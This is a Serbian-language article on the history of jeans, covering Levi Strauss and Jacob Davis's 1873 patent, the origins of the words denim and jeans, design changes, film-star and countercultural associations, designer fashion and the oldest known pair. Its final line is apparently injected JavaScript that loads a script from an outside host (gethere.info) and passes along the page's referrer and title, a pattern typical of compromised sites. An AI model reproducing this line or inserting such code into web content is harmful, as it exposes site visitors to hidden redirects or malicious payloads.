KOJA JE TAJNA FARMERKI: Od rudarskih tregerica do vrućih pantalona sa modnih pista

Nastale kao radne pantalone namenjene američkim rudarima i kopačima zlata farmerice su danas visoko cenjena modna roba

Danas su farmerke nezaobilazai komad odeće i starijih i mladih, a zapravo malo ko zna da su na današnji dan 1873. godine bavarski trgovac iz San Franciska Levi Štraus i krojač iz Rina u Nevadi Džejkob Dejvis patentirali prve farmerke.

Bile su to radne pantalone od šatorskog platna sa bakarnom dugmadi namenjene američkim rudarima i kopačima zlata, ali i ostalim radnicima.

"Kokreator" farmerki Levi Štraus, 24-godišnji doseljenik iz Nemačke, dok je 1853. godine kalifornijska zlatna groznica bila u punom zamahu i vladala nestašica svakodnevnih potrebština, napušta Njujork i kreće u San Francisko.

Nosi sa sobom materijal za šatorska platna sa idejom da u Kaliforniji otvori ogranak njujorške firme svoga brata koja se bavi tekstilom.

Pošto je potencijalnoj mušteriji rekao da ima grubog platna za šatore i pokrivače za zaprežna kola, kopač zlata mu je odgovorio: "Trebalo je da doneseš pantalone!", objasnivši mu da nikako ne može da pronađe par dovoljno jakih pantalona.

Američke, koliko i pita

To je Leviju dalo ideju da napravi robusne tregerice koje bi rudari mogli da nose kao radno odelo. Napravljene od čvrstog, grubog platna sa džepovima za čuvanje rude zlata, pantalone koje je bilo gotovo nemoguće pocepati postale su američke koliko i pita od jabuka, uprkos tome što ih je izmislio dvadesetčetvorogodišnji nemački doseljenik.

Džems Din na posteru za film "Div"

Preteča farmerki bile su pantalone proizvedene u Đenovi u vreme kada je ovaj grad bio nezavisna republika i pomorska sila. Napravljene su za pripadnike Đenovljanske mornarice koja je zahtevala odela za sve vremenske prilike. Koren engleske reči džins odnosno "blue jeans" leži u francuskom izrazu koji se u to vreme koristio 'blue de Genes' - plave iz Đenove.

Kada je potrošio zalihe platna, a potražnja za njegovim izdržljivim pantalonama postajala sve veća, Levi prelazi na robusan materijal serž, koji se izrađivao u Nimu, u Francuskoj. Prvobitno nazvan "serž iz Nima", ovaj naziv je uskoro skraćen u denim, a sa pojavom indigoplave farbe, dolazi se do danas prepoznatljivog izgleda farmerica.

Džep za sat

Za još veću izdržjivost džepova, pored dvostrukog šava napravljena je šara u obliku luka na džepovima na kukovima, 1886. brendirano parče kože sa dva konja, a 1890. dodeljeni su brojevi serije za sve proizvode, uključujući seriju 501 koja je prva imala džep predviđen za sat.

Zahvaljujući popularnosti vesterna i šarmu filmskih zvezda kao što su Džon Vejn i Gari Kuper, nose dozu romantike i simbol  su avanturizma

Zanimljivo je da Levi Štraus nikada nije voleo naziv farmerice to jest džins, i on i svi koji su za njega radili ove pantalone od denima nazivali su dubokim tregericama. Tek polovinom tridesetih godina prošlog veka kompanija je počela da ih naziva farmericama t.j. džinsom.

Na prvobitno osmišljene duboke pantalone koje se nose sa tregerima firma je dodala gajke za kaiš 1922. godine, crvenu Levi's pločicu 1936. i uklonila nitnu na preponama 1941. Javna je tajna da je nitna na preponama davno trebalo da bude uklonjena zbog toga što je zbog pregrevanja izazivala neprijatnost kod mnogih kauboja dok su se okupljali oko razbuktale vatre tokom hladnih noći na pašnjacima.

Simbol slobode

Zahvaljujući popularnosti vestern filmova i šarmu filmskih zvezda kao što su Džon Vejn i Gari Kuper, farmerke nose dozu romantike i simbol su avanturizma i ne mirenja sa dosadnim standardima.

Pedesetih godina kroz likove buntovnih zavodnika Marlon Branda i Džejmsa Dina farmerke dobijaju još veću aktuelnost, a sedamdeseth su ih nosili pripadnici hipi pokreta da iskažu jednakost, pobunu i slobodu, dok je u istočnijim zemljama džins predstavljao zapadnjačku dekadenciju, te je bio ekskluzivna roba - teška za nabavku. Setimo se samo filma "Bal na vodi" ili serije "Grlom u jagode".

Glumac Džoni Dep često se može videti u farmerkama

Osamdesetih džins postaje visoko modna roba, pa se mogu kupiti farmerke sa etiketama mnogih važnih dizajnera.

Farmerke nikada nisu izašle iz mode, ali devedesetih više nisu "in". Roditelji tadašnjih tinejdžera su i dalje bili fascinirani džinsom, a kako je poznato tinejdžer ne žele da izgledaju kao roditelj. To dovodi do nastanka novih krojeva i stilova. Ova "kriza" traje do leta 1999. godine kada Tom Ford izbacuje džins na svoj način, po ceni od 3715$ za farmerke. Posle toga džins na modne piste izbacuju i Šanel, Dior, Kevin Klajn i Versaće...

Većina Amerikanaca ne peglaju farmerke, nose ih zgužvane, oflekane ili sa rupama. Njima je baš čudno što Evropljani peglaju džins. Nose ga svi, od prinčeva i princeza, do klošara na ulici, preko mladih devojaka, koje traže baš svoj par farmerki. Danas možete kupiti milion različitih modela, od onih kineskih za nekoliko evra, preko čuvenih u kojima izgledate "ko milion dolara" i skoro isto toliko koštate.

 

NAJSKUPLJE FARMERKE

Najstariji par farmerki, vredan 150.000 dolara, čuva se u sefu kompanije Levi Štraus u San Francisku. Nabavili su ih u leto 2003. godine od jednog trgovca starom odećom. Proizvedene su između 1873. i 1890, a najverovatnije 1879. godine u San Francisku u fabrici koja je 1906. izgorela u požaru. Te farmerke imaju kožnu etiketu, ali ne i logo s dva konja, imaju samo jedan džep pozadi, jer se drugi pojavljuje tek na komadima proizvedenim od 1901. godine.

 s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';